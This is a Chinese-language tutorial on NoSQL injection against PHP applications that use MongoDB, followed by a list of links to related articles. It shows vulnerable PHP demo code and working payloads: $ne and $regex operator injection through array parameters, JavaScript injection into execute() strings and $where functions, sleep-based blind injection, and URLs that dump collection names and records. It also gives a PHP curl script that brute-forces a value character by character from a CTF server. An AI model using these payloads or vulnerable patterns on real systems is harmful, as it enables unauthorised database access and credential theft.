Mongodb注入攻擊
0x00 前言
關於mongodb的基本安裝執行操作以及php操作mongodb,請參考我以前的文章
php下操作mongodb的帖子國內已經有了,但是基於php下注入攻擊mongodb的文章似乎還比較少。本文是筆者在學習、查閱了大量資料後的一些總結,文中涉及的攻擊手法及其智慧財產權全部歸原作者所有,我只是大自然的搬運工。未徵得筆者同意,請勿轉載。
0x01 概括
php下操作mongodb大致有以下兩種方式
1.用mongo類中相應的方法執行增查減改 比如:
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //選擇資料庫
$coll = $db->test; //選擇集合
$coll->save(); //增
$coll->find(); //查
$coll->remove(); //減
$coll->update(); //改
此時,傳遞進入的引數是一個陣列。
2.用execute方法執行字串 比如:
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //選擇資料庫
$query = "db.table.save({'newsid':1})"; //增
$query = "db.table.find({'newsid':1})"; //查
$query = "db.table.remove({'newsid':1})"; //減
$query = "db.table.update({'newsid':1},{'newsid',2})"; 改
$result = $db->execute($query);
此時,傳進方法execute的引數就是字串變數$query
特別的,此時的字串書寫語法為js的書寫語法。
對於以上兩種不同執行方式,有不同的注入攻擊方式。
0x02 注入攻擊
0.在攻擊前,我們需要先建立一個集合,作為攻擊的基礎。
使用者test是攻擊者已經知道賬號密碼的一個測試賬號,其他賬號的話密碼隨機。想透過注入獲取其他賬號的密碼。
1.陣列繫結時的注入
一個陣列繫結的查詢demo如下:
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //選擇資料庫
$coll = $db->test; //選擇集合
$username = $_GET['username'];
$password = $_GET['password'];
$data = array(
'username'=>$username,
'password'=>$password
);
$data = $coll->find($data);
$count = $data->count();
if ($count>0) {
foreach ($data as $user) {
echo 'username:'.$user['username']."</br>";
echo 'password:'.$user['password']."</br>";
}
}
else{
echo '未找到';
}
?>
此時的攻擊利用了php可以傳遞陣列引數的一個特性。
當傳入的url為:
http://127.0.0.1/2.php?username=test&password=test
執行了語句:
db.test.find({username:'test',password:'test'});
如果此時傳入的url如下:
http://127.0.0.1/2.php?username[xx]=test&password=test
則$username就是一個陣列,也就相當於執行了php語句:
#!php
$data = array(
'username'=>array('xx'=>'test'),
'password'=>'test');
而mongodb對於多維陣列的解析使最終執行了如下語句:
db.test.find({username:{'xx':'test'},password:'test'});
利用此特性,我們可以傳入資料,是陣列的鍵名為一個運算子(大於,小於,等於,不等於等等),完成一些攻擊者預期的查詢。
如,傳入url:
http://127.0.0.1/2.php?username[$ne]=test&password[$ne]=test
結果如圖
因為傳入的鍵名$ne正是一個mongodb運算子,最終執行了語句:
db.test.find({username:{'$ne':'test'},password:{'$ne':'test'}});
這句話相當於sql:
select * from test where username!='test' and password!='test';
直接便利出所有集合中的資料。
如果此時的使用者名稱與密碼不能回顯,只是返回一個邏輯上的正誤判斷。
那麼我們可以採用$regex運算子來一位一位獲取資料。
案例演示:http://121.40.86.166:23339/
這是hctf中的一道題目。
猜測其php程式碼大概如下
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //選擇資料庫
$coll = $db->test; //選擇集合
$lock = $_POST['lock'];
$key = $_POST['key'];
if (is_array($lock)) {
$data = array(
'lock'=>$lock);
$data = $coll->find($data);
if ($data->count()>0) {
echo 'the lock is right,but wrong key';
}else{
echo 'lock is wrong';
}
}else{
if ($lock == 'aabbccdd'&&$key=='aabbccdd') {
echo 'Your flag is xxxxxxx';
}else{
echo 'lock is wrong';
}
}
?>
這樣的話,因為只有“正確”或者“錯誤”兩種回顯,我們只能透過正則判斷來一位一位讀取lock的內容了。
對於該題的利用payload如下:
#!php
<?php
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,'http://121.40.86.166:23339/');
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_POST,1);
$ori = '0123456789abcdefghijklmnopqrstuvwxyz';
$str = '';
for ($i=0; $i <10 ; $i++) {
for ($j=0; $j <strlen($ori) ; $j++) {
$post = 'key=1&lock[$regex]=^'.$str.$ori[$j];
curl_setopt($ch,CURLOPT_POSTFIELDS,$post);
$data=curl_exec($ch);
if (strlen($data) == 319) {
$str.=$ori[$j];
echo $str."\r\n";
break;
}
}
}
?>
結果如圖:
相當於在資料庫中多次執行查詢:
db.test.find({lock:{'$regex':'^a'}}); db.test.find({lock:{'$regex':'^b'}}); db.test.find({lock:{'$regex':'^c'}}); db.test.find({lock:{'$regex':'^ca'}}); …… …… db.test.find({lock:{'$regex':'^aabbccdd'}});
最終全部猜出字串的內容,相似與sql注入中的盲注。
2.拼接字串時的注入
因為字串的拼接方式多種多樣,不同程式設計師也有不同的書寫習慣。
本文中僅舉幾個demo為例。
#!php
<?php
$username = $_GET['username'];
$password = $_GET['password'];
$query = "var data = db.test.findOne({username:'$username',password:'$password'});return data;";
//$query = "return db.test.findOne();";
//echo $query;
$mongo = new mongoclient();
$db = $mongo->myinfo;
$data = $db->execute($query);
if ($data['ok'] == 1) {
if ($data['retval']!=NULL) {
echo 'username:'.$data['retval']['username']."</br>";
echo 'password:'.$data['retval']['password']."</br>";
}else{
echo '未找到';
}
}else{
echo $data['errmsg'];
}
?>
攻擊方式:
http://127.0.0.1/1.php?username=test'&password=test
報錯。 想辦法閉合語句。
http://127.0.0.1/1.php?username=test'});return {username:1,password:2}//&password=test
該語句能返回一個陣列,username鍵值是1,password鍵值是2.
爆mongodb版本
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.getCollectionNames()),password:2};//&password=test
爆所有集合名
PS:因為db.getCollectionNames()返回的是陣列,需要用tojson轉換為字串。並且mongodb函式區分大小寫。
爆test集合的第一條資料
http://127.0.0.1/1.php?username=test'});return {username:tojson(db.test.find()[0]),password:2};//&password=test
爆test集合的第二條資料
因為execute方法支援多語句執行,所以可以執行太多語句了,不演示~
當然,有時可能遇到沒有輸出返回資料,這時候怎麼辦呢?
在高版本下,新增了一個函式sleep(),就是時間盲注咯~
PS:在高版本下,貌似不能用註釋語句,此外高版本還有一個新特性就是預設開啟錯誤回顯。筆者嘗試沒有註釋成功,只能用閉合的方法。
http://127.0.0.1/1.php?username=test'});if (db.version() > "0") { sleep(10000); exit; }var b=({a:'1&password=test
成功延時了十秒。
另一個demo
在Mongdb中可以使用$where運算子。相當於sql語句中的where限制語句。mongodb中的$where運算子常常引入一個js的函式來作為限制條件,當js函式中的字串存在未過濾的使用者輸入時,注入就產生了。
放demo:
#!php
<?php
$mongo = new mongoclient();
$db = $mongo->myinfo; //選擇資料庫
$coll = $db->news; //選擇集合
$news = $_GET['news'];
$function = "function() {if(this.news == '$news') return true}";
echo $function;
$result = $coll->find(array('$where'=>$function));
if ($result->count()>0) {
echo '該新聞存在';
}else{
echo '該新聞不存在';
}
?>
為了測試,我建立了兩個集合,一個是news集合,查詢過程中存在注入。另一個是user集合,我們要注入得到其中的資料。
程式碼中的this.news指的就是表中的news欄(欄位),上面的程式碼翻譯成sql語句就是:
select * from news where news='$news'
該demo的注入方式可以參考如下:
http://127.0.0.1/3.php?news=test
返回正常
http://127.0.0.1/3.php?news=test'
返回錯誤
http://127.0.0.1/3.php?news=test'%26%26'1'=='1
返回正常
http://127.0.0.1/3.php?news=test'%26%26'1'=='2
返回錯誤
至此檢測出注入,開始獲取資料。
http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length>0%26%26'1'=='1
返回正常,集合數大於0
http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames().length==5%26%26'1'=='1
返回正常,集合數等於5
獲取集合名稱
http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0].length==6%26%26'1'=='1
返回正常,第一個集合名稱長度為6
http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]>'a'%26%26'1'=='1
返回正常,第一個集合名稱第一個字元大於a
http://127.0.0.1/3.php?news=test'%26%26db.getCollectionNames()[0][0]=='m'%26%26'1'=='1
返回正常,第一個集合名稱第一個字元為m
最終可以破解出存在user集合。
查user集合中的第一條資料。
http://127.0.0.1/3.php?news=test'%26%26tojson(db.user.find()[0])[0]=='{'%26%26'1'=='1
因為db.user.find()返回的不是一個字串,無法取出字元進行比較,我們可以將它轉化成一個json字串,就可以比較了。 道理講明白了,剩下的都是體力活,用python或者php寫下小指令碼就能實現自動化。
0x03 Referer
/papers/?id=850
http://webcache.googleusercontent.com/search?q=cache:fPNiwObqKcEJ:hi.baidu.com/d4rkwind/item/ad7b81efb799ce2e6dabb8c3+&cd=1&hl=zh-CN&ct=clnk&gl=cn
相關文章
- React 防注入攻擊 XSS攻擊 (放心大膽的用吧)2020-10-12React
- SQL隱碼攻擊-堆疊注入2021-07-04SQL
- sqli-labs ————Stacked 注入攻擊介紹2018-05-20SQL
- 攻擊JavaWeb應用——3、sql注入(上)2018-05-17JavaWebSQL
- 以太坊智慧合約call注入攻擊2018-08-24
- katoto站點被注入指令碼攻擊2019-03-04指令碼
- SQL隱碼攻擊 - 手工注入sqli-labs2024-03-05SQL
- SQL隱碼攻擊中二階注入原理2024-12-04SQL
- 最新堆疊查詢注入攻擊和注入程式碼分析技術2024-03-08
- SQL隱碼攻擊原理——萬能密碼注入2018-08-06SQL密碼
- 服務端模板注入攻擊 (SSTI) 之淺析2020-08-19服務端
- 危險係數排名前5的注入攻擊2022-06-09
- SQL隱碼攻擊之字元型和數字型注入2024-04-22SQL字元
- SQL隱碼攻擊之常見注入的步驟④2020-11-11SQL
- 哪個報表工具能抵擋 SQL 注入攻擊2020-05-13SQL
- 最新二次注入攻擊和程式碼分析技術2024-03-11
- 最新寬位元組注入攻擊和程式碼分析技術2024-03-12
- 最新Base64注入攻擊和程式碼分析技術2024-03-19
- 滲透測試網站sql注入攻擊與防護2020-11-25網站SQL
- 封神臺 SQL隱碼攻擊 靶場 (貓舍)手動注入2024-10-13SQL
- SQL隱碼攻擊之二次,加解密,DNS等注入2021-08-02SQL解密DNS
- DDoS攻擊、CC攻擊的攻擊方式和防禦方法2019-02-27
- PHP獲取IP地址的方法,防止偽造IP地址注入攻擊2018-09-20PHP
- SQL隱碼攻擊速查表(下)與Oracle注入速查表2020-08-19SQLOracle
- 詳解Web應用安全系列(2)注入漏洞之XSS攻擊2024-06-21Web
- User-Agent手工注入攻擊及防禦(探測與利用分析)2020-12-19
- XXE攻擊攻擊原理是什麼?如何防禦XXE攻擊?2023-02-13
- 報告稱超 6 成 Web 應用程式攻擊來自 SQL 注入2019-07-10WebSQL
- SQL隱碼攻擊之二次注入(sql-lab第24關)2020-12-22SQL
- Dos攻擊2018-06-07
- 攻擊性2024-03-26
- CSRF攻擊2024-05-17
- CSRF 攻擊2024-10-05
- 口令攻擊2024-10-04
- iconv 攻擊2024-11-27
- DDos攻擊2022-05-09
- 模板攻擊2021-04-04
- 如何有效防禦DDoS攻擊和CC攻擊?2023-12-27